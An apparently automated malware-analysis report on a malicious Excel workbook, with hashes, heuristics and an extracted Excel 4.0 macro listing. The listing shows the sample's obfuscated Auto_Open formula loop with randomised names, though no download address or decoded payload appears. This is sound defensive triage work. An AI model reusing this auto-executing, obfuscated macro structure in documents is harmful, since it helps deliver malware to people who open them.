Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 89167011990c3d7f…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:47:23 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: eb3bd893cccf754416ed9b86c14580f4 SHA-1: df8b61840a88e8e59b393db69146f2f96b07164e SHA-256: 89167011990c3d7f3e7f49d8d2a376bf5e45dfe946b81aeafee0e5573e004fdc
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro sheet containing an Auto_Open entry, which is a critical indicator of malicious intent. This technique is often used to execute arbitrary commands, typically for downloading and running further malicious content. The presence of dangerous formula APIs further supports this assessment.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6753 bytes
SHA-256: a70335c7ba9faf26f77c79fbc4df7d63870e39fe5f7c29256de896a73075236c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ApOeyVnc
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E140 
' 0018     24 LABEL : Cell Value, String Constant - bwsxVFJbx len=0 
' 0018     27 LABEL : Cell Value, String Constant - fNUyEqcuBcNN len=0 
' 0018     27 LABEL : Cell Value, String Constant - fzkkCmzqrjkw len=0 
' 0018     20 LABEL : Cell Value, String Constant - GEbtT len=0 
' 0018     21 LABEL : Cell Value, String Constant - GNqqzF len=0 
' 0018     23 LABEL : Cell Value, String Constant - IwALWGoo len=0 
' 0018     25 LABEL : Cell Value, String Constant - jByhpLaUCN len=0 
' 0018     22 LABEL : Cell Value, String Constant - LxewUNJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - mHPOfrSm len=0 
' 0018     20 LABEL : Cell Value, String Constant - NFtlE len=0 
' 0018     27 LABEL : Cell Value, String Constant - OcRVdquxEpKF len=0 
' 0018     23 LABEL : Cell Value, String Constant - OlvYdxOB len=0 
' 0018     25 LABEL : Cell Value, String Constant - oPMyMyGcqL len=0 
' 0018     27 LABEL : Cell Value, String Constant - pfmJXZxJfQhp len=0 
' 0018     25 LABEL : Cell Value, String Constant - ptPtrUwxKF len=0 
' 0018     25 LABEL : Cell Value, String Constant - QxwWdDavKD len=0 
' 0018     25 LABEL : Cell Value, String Constant - sARSqJdlrB len=0 
' 0018     21 LABEL : Cell Value, String Constant - SRmNAw len=0 
' 0018     21 LABEL : Cell Value, String Constant - TkFwLH len=0 
' 0018     21 LABEL : Cell Value, String Constant - zbKaft len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ApOeyVnc,E59,"SET.NAME("QxwWdDavKD",0+VALUE("0"))",""
'  ApOeyVnc,E64,"SET.NAME("oPMyMyGcqL",QxwWdDavKD)",""
'  ApOeyVnc,E67,"SET.NAME("jByhpLaUCN",QxwWdDavKD)",""
'  ApOeyVnc,E69,"SET.NAME("TkFwLH",COUNTA(NFtlE))",""
'  ApOeyVnc,E74,"SET.NAME("fNUyEqcuBcNN",COUNTA(ptPtrUwxKF))",""
'  ApOeyVnc,E76,[],""
'  ApOeyVnc,E81,"SET.NAME("sARSqJdlrB","")",""
'  ApOeyVnc,P84,"",233.00000000000000000000
'  ApOeyVnc,E85,"oPMyMyGcqL",""
'  ApOeyVnc,P85,"",797.00000000000000000000
'  ApOeyVnc,P86,"",-644.00000000000000000000
'  ApOeyVnc,P87,"",134.00000000000000000000
'  ApOeyVnc,P88,"",954.00000000000000000000
'  ApOeyVnc,E89,"SET.NAME("mHPOfrSm",HLOOKUP("*",NFtlE,oPMyMyGcqL,FALSE))",""
'  ApOeyVnc,P89,"",435.00000000000000000000
'  ApOeyVnc,E92,"IwALWGoo",""
'  ApOeyVnc,E94,"SET.NAME("GEbtT",QxwWdDavKD)",""
'  ApOeyVnc,E97,[],""
'  ApOeyVnc,E100,"GEbtT",""
'  ApOeyVnc,E102,"LxewUNJ",""
'  ApOeyVnc,E105,"zbKaft",""
'  ApOeyVnc,E108,"OlvYdxOB",""
'  ApOeyVnc,E111,"SET.NAME("SRmNAw",VALUE(HLOOKUP("*",ptPtrUwxKF,OlvYdxOB,FALSE)))",""
'  ApOeyVnc,E113,"bwsxVFJbx",""
'  ApOeyVnc,E115,"sARSqJdlrB",""
'  ApOeyVnc,E117,"jByhpLaUCN",""
'  ApOeyVnc,E120,NEXT(),""
'  ApOeyVnc,E123,"pfmJXZxJfQhp",""
'  ApOeyVnc,E126,[],""
'  ApOeyVnc,E129,"fzkkCmzqrjkw",""
'  ApOeyVnc,E132,NEXT(),""
'  ApOeyVnc,E137,RETURN(),""
'  ApOeyVnc,E164,"SET.NAME("GNqqzF",E59)",""
'  ApOeyVnc,E169,"NFtlE",""
'  ApOeyVnc,E174,"SET.NAME("ptPtrUwxKF",R92C11)",""
'  ApOeyVnc,E176,"SET.NAME("fzkkCmzqrjkw",181)",""
'  ApOeyVnc,E178,"SET.NAME("OcRVdquxEpKF",5)",""
'  ApOeyVnc,E180,GNqqzF(),""
'  ApOeyVnc,E181,HALT(),""